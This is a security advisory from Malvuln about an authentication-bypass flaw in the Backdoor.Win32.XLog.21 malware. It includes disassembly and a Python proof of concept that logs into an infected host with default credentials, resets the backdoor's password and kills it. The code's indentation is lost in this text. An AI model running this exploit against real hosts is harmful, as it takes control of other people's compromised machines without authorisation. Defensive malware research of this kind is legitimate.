Backdoor.Win32.XLog.21 malware suffers from an authentication bypass vulnerability due to a race condition.
dafa807104960d82275666259546cd43Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/2906b5dc5132dd1319827415e837168f.txt
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Threat: Backdoor.Win32.XLog.21
Vulnerability: Authentication Bypass Race Condition
Description: The malware listens on TCP port 5553. Third-party attackers who can reach the system before a password has been set can logon using default credentials of noname/nopass and run commands made avail by the backdoor including changing the password therby potentially locking out the original intruder.
Incorrect username "victim|pass" we get
Received invalid name parameter!
Incorrect password "noname|pass" we get
Received incorrect password from client!
Sending correct noname|nopass creds we get no error. Next, we must send valid cmds using correct pipe delimiter or we will get "Received invalid parameter" errors.
push offset aCmdChangepass ; "cmd changepass"
004018EA mov edx, [ebp+Str1]
004018ED push edx ; Str1
004018EE call _strcmp
004018F3 add esp, 8
004018F6 test eax, eax
004018F8 jnz loc_4019A6
004018FE lea eax, [ebp+Delimiter]
00401901 push eax ; Delimiter
00401902 push 0 ; String
00401904 call _strtok
00401909 add esp, 8
0040190C mov [ebp+Str1], eax
0040190F cmp [ebp+Str1], 0
00401913 jnz short loc_401930
00401915 push offset aReceivedInvali_4 ; "\r\nReceived invalid parameter (NULL) f"...
0040191A mov ecx, [ebp+s]
0040191D push ecx ; s
0040191E call sub_4019D9
Family: XLog
Type: PE32
MD5: 2906b5dc5132dd1319827415e837168f
Vuln ID: MVID-2022-0543
Disclosure: 04/06/2022
Exploit/PoC:
from socket import *
import time
MALWARE_HOST="x.x.x.x"
PORT=5553
def chk_res(s):
res=""
while True:
res += s.recv(512)
break
if "\0" in res or "\n" in res or res == "":
break
return res
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
#Change the backdoors password so we PWN it!.
PAYLOAD="noname|nopass|cmd:changepass|malvuln"
s.send(PAYLOAD)
time.sleep(0.5)
#See whats the malware about
PAYLOAD="noname|malvuln|cmd:about"
s.send(PAYLOAD)
time.sleep(0.5)
print(chk_res(s))
#Terminate the backdoor
PAYLOAD="noname|malvuln|cmd:kill"
s.send(PAYLOAD)
time.sleep(0.5)
print(chk_res(s))
s.close()
if __name__=="__main__":
doit()
print("Malvuln")
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